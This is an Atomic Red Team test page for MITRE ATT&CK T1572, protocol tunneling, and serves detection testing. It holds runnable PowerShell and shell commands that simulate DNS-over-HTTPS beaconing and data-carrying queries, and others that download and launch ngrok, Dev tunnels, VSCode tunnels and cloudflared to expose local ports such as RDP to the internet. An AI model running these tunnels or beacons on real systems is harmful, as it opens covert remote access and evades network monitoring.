# T1572 - Protocol Tunneling

## Description from ATT&CK

> Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.
> 
> There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling)(Citation: Sygnia Abyss Locker 2025)
> 
> [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19)
> 
> Adversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol or Service Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure.

[Source](https://attack.mitre.org/techniques/T1572)

## Atomic Tests

- [Atomic Test #1: DNS over HTTPS Large Query Volume](#atomic-test-1-dns-over-https-large-query-volume)
- [Atomic Test #2: DNS over HTTPS Regular Beaconing](#atomic-test-2-dns-over-https-regular-beaconing)
- [Atomic Test #3: DNS over HTTPS Long Domain Query](#atomic-test-3-dns-over-https-long-domain-query)
- [Atomic Test #4: run ngrok](#atomic-test-4-run-ngrok)
- [Atomic Test #5: Microsoft Dev tunnels (Linux/macOS)](#atomic-test-5-microsoft-dev-tunnels-linuxmacos)
- [Atomic Test #6: VSCode tunnels (Linux/macOS)](#atomic-test-6-vscode-tunnels-linuxmacos)
- [Atomic Test #7: Cloudflare tunnels (Linux/macOS)](#atomic-test-7-cloudflare-tunnels-linuxmacos)

### Atomic Test #1: DNS over HTTPS Large Query Volume

This test simulates an infected host sending a large volume of DoH queries to a command and control server.
The intent of this test is to trigger threshold based detection on the number of DoH queries either from a single source system or to a single targe domain.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.

**Supported Platforms:** Windows

**auto_generated_guid:** `ae9ef4b0-d8c1-49d4-8758-06206f19af0a`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| doh_server | Default DoH resolver | string | https://8.8.8.8/resolve|
| query_type | DNS query type | string | TXT|
| subdomain | Subdomain prepended to the domain name | string | atomicredteam|
| query_volume | Number of DNS queries to send | integer | 1000|
| domain | Default domain to simulate against | string | 127.0.0.1.xip.io|

#### Attack Commands: Run with `powershell`!

```powershell
for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest "#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}" -UseBasicParsing).Content }
```

### Atomic Test #2: DNS over HTTPS Regular Beaconing

This test simulates an infected host beaconing via DoH queries to a command and control server at regular intervals over time.
This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.

**Supported Platforms:** Windows

**auto_generated_guid:** `0c5f9705-c575-42a6-9609-cbbff4b2fc9b`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| doh_server | Default DoH resolver | string | https://8.8.8.8/resolve|
| runtime | Time in minutes to run the simulation | integer | 30|
| domain | Default domain to simulate against | string | 127.0.0.1.xip.io|
| subdomain | Subdomain prepended to the domain name | string | atomicredteam|
| query_type | DNS query type | string | TXT|
| c2_interval | Seconds between C2 requests to the command and control server | integer | 30|
| c2_jitter | Percentage of jitter to add to the C2 interval to create variance in the times between C2 requests | integer | 20|

#### Attack Commands: Run with `powershell`!

```powershell
Set-Location "PathToAtomicsFolder"
.\T1572\src\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}
```

### Atomic Test #3: DNS over HTTPS Long Domain Query

This test simulates an infected host returning data to a command and control server using long domain names.
The simulation involves sending DoH queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DoH queries for long domain names over a set threshold.
 Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.

**Supported Platforms:** Windows

**auto_generated_guid:** `748a73d5-cea4-4f34-84d8-839da5baa99c`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| doh_server | Default DoH resolver | string | https://8.8.8.8/resolve|
| query_type | DNS query type | string | TXT|
| subdomain | Subdomain prepended to the domain name (should be 63 characters to test maximum length) | string | atomicredteamatomicredteamatomicredteamatomicredteamatomicredte|
| domain | Default domain to simulate against | string | 127.0.0.1.xip.io|

#### Attack Commands: Run with `powershell`!

```powershell
Set-Location "PathToAtomicsFolder"
.\T1572\src\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}
```

### Atomic Test #4: run ngrok

Download and run ngrok. Create tunnel to chosen port.

**Supported Platforms:** Windows

**auto_generated_guid:** `4cdc9fc7-53fb-4894-9f0c-64836943ea60`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| api_token | ngrok API | string | N/A|
| port_num | port number for tunnel | integer | 3389|
| download | link to download ngrok | string | https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
C:\Users\Public\ngrok\ngrok.exe config add-authtoken #{api_token} | Out-Null
Start-Job -ScriptBlock { C:\Users\Public\ngrok\ngrok.exe tcp #{port_num} } | Out-Null
Start-Sleep -s 5 
Stop-Job -Name Job1 | Out-Null
```

#### Cleanup Commands

```powershell
Remove-Item C:\Users\Public\ngrok -Recurse -ErrorAction Ignore
Remove-Item C:\%userprofile%\AppData\Local\ngrok -ErrorAction Ignore
```

#### Dependencies: Run with `powershell`!

##### Description: Download ngrok

###### Check Prereq Commands

```powershell
if (Test-Path C:\Users\Public\ngrok) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Path C:\Users\Public\ngrok -ItemType Directory | Out-Null
Invoke-WebRequest #{download} -OutFile C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip
Expand-Archive C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip -DestinationPath C:\Users\Public\ngrok
```

### Atomic Test #5: Microsoft Dev tunnels (Linux/macOS)

Dev Tunnels enables insiders as well as threat actors to expose local ports over the internet via Microsoft dev tunnels.

This atomic will generate a dev tunnel binding it to the local service running on the provided port. Can be used to expose local services, web applications and local files etc.
Reference:
- [Microsoft Docs](https://learn.microsoft.com/en-us/tunnels/dev-tunnels-overview)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/devtunnels/)

**Supported Platforms:** Linux, macOS

**auto_generated_guid:** `9f94a112-1ce2-464d-a63b-83c1f465f801`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| port | port number for tunnel | integer | 8080|
| download_url | link to download devtunnel | string | https://aka.ms/TunnelsCliDownload/linux-x64|
| binary_path | path to download devtunnel | string | PathToAtomicsFolder/../ExternalPayloads/devtunnel|

#### Attack Commands: Run with `bash`!

```bash
#{binary_path} host -p #{port} &
```

#### Cleanup Commands

```bash
pkill -9 $(basename "#{binary_path}")
#{binary_path} user logout
rm #{binary_path}
```

#### Dependencies: Run with `bash`!

##### Description: Download devtunnel

###### Check Prereq Commands

```bash
test -f #{binary_path}
```

###### Get Prereq Commands

```bash
mkdir -p $(dirname #{binary_path})
curl -L "#{download_url}" -o "#{binary_path}"
chmod +x #{binary_path}
```

##### Description: Login to Microsoft Dev tunnels

###### Check Prereq Commands

```bash
#{binary_path} user show | grep -q "Not logged in" && exit 1 || exit 0
```

###### Get Prereq Commands

```bash
echo "Login to devtunnel using the following command: #{binary_path} user login"
```

### Atomic Test #6: VSCode tunnels (Linux/macOS)

Visual Studio Code Remote Tunnels can be used for exposing local development environment/services/files over the internet.
This atomic will generate a dev tunnel binding it to the local service running on the provided port.
Reference:
- [Microsoft Docs](https://code.visualstudio.com/docs/remote/tunnels)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/vscode-server/)

**Supported Platforms:** Linux, macOS

**auto_generated_guid:** `b877943f-0377-44f4-8477-f79db7f07c4d`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| artifact_base_url | Base URL to download code-cli | string | https://code.visualstudio.com/sha/download|
| artifact_build | build to download - Allowed values (stable/insiders) | string | stable|
| payload_path | path to download code-cli | string | PathToAtomicsFolder/../ExternalPayloads|
| additional_args | additional arguments to pass to code tunnel | string | |

#### Attack Commands: Run with `sh`!

```sh
nohup code tunnel --accept-server-license-terms #{additional_args} >/dev/null 2>&1 &
```

#### Cleanup Commands

```sh
pkill -9 tunnel
code tunnel unregister
code tunnel user logout
```

#### Dependencies: Run with `sh`!

##### Description: Install code-cli

###### Check Prereq Commands

```sh
which code
```

###### Get Prereq Commands

```sh
ARCH_SUFFIX=$(uname -m | grep -q "arm64\|aarch64" && echo "arm64" || echo "x64")
if [ "$(uname)" = "Darwin" ]
then brew install code-cli
elif [ "$(expr substr $(uname) 1 5)" = "Linux" ]
then mkdir -p $(dirname #{payload_path})        
  PKG_TYPE=$(command -v apt >/dev/null && echo "deb" || echo "rpm")
  curl -L "#{artifact_base_url}?build=#{artifact_build}&os=linux-${PKG_TYPE}-${ARCH_SUFFIX}" -o "#{payload_path}/code.${PKG_TYPE}"
  (which apt && apt install -y "#{payload_path}/code.${PKG_TYPE}") || (which yum && yum install -y "#{payload_path}/code.${PKG_TYPE}")
  rm "#{payload_path}/code.${PKG_TYPE}"
fi
```

##### Description: Login to VSCode Dev tunnels

###### Check Prereq Commands

```sh
code tunnel user show | grep -q "not logged in" && exit 1 || exit 0
```

###### Get Prereq Commands

```sh
echo "Login to code tunnel using the following command: code tunnel user login"
```

### Atomic Test #7: Cloudflare tunnels (Linux/macOS)

Cloudflared can be used for exposing local development environment/services/files over the internet.
This atomic will generate a dev tunnel binding it to the local service running on the provided port.
Reference:
- [Cloudflared Docs](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/cloudflared/)

**Supported Platforms:** Linux, macOS

**auto_generated_guid:** `228c336a-2f79-4043-8aef-bfa453a611d5`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| cloudflared_artifact_base_url | Base URL to download cloudflared | string | https://github.com/cloudflare/cloudflared/releases/latest/download|
| binary_path | path to download cloudflared | string | PathToAtomicsFolder/../ExternalPayloads/cloudflared|
| url_to_tunnel | IP and port to expose | string | localhost:8080|
| additional_args | Additional arguments to pass to cloudflared | string | |

#### Attack Commands: Run with `sh`!

```sh
nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &
```

#### Cleanup Commands

```sh
pkill -9 $(basename "#{binary_path}")
rm -f "#{binary_path}"
```

#### Dependencies: Run with `sh`!

##### Description: Download cloudflared

###### Check Prereq Commands

```sh
test -f "#{binary_path}" && exit 0 || exit 1
```

###### Get Prereq Commands

```sh
ARCH_SUFFIX=$(uname -m | grep -q "arm64\|aarch64" && echo "arm64" || echo "amd64")
if [ "$(uname)" = "Darwin" ]
then curl -L "#{cloudflared_artifact_base_url}/cloudflared-darwin-${ARCH_SUFFIX}.tgz" -o "$(dirname #{binary_path})/cloudflared-darwin-${ARCH_SUFFIX}.tgz" 
  cd "$(dirname #{binary_path})"
  tar -xzf "cloudflared-darwin-${ARCH_SUFFIX}.tgz"
  rm -f "cloudflared-darwin-${ARCH_SUFFIX}.tgz"
  chmod +x "#{binary_path}"
elif [ "$(expr substr $(uname) 1 5)" = "Linux" ]
then mkdir -p $(dirname #{binary_path})
  curl -L "#{cloudflared_artifact_base_url}/cloudflared-linux-${ARCH_SUFFIX}" -o "#{binary_path}"
  chmod +x "#{binary_path}"
fi
```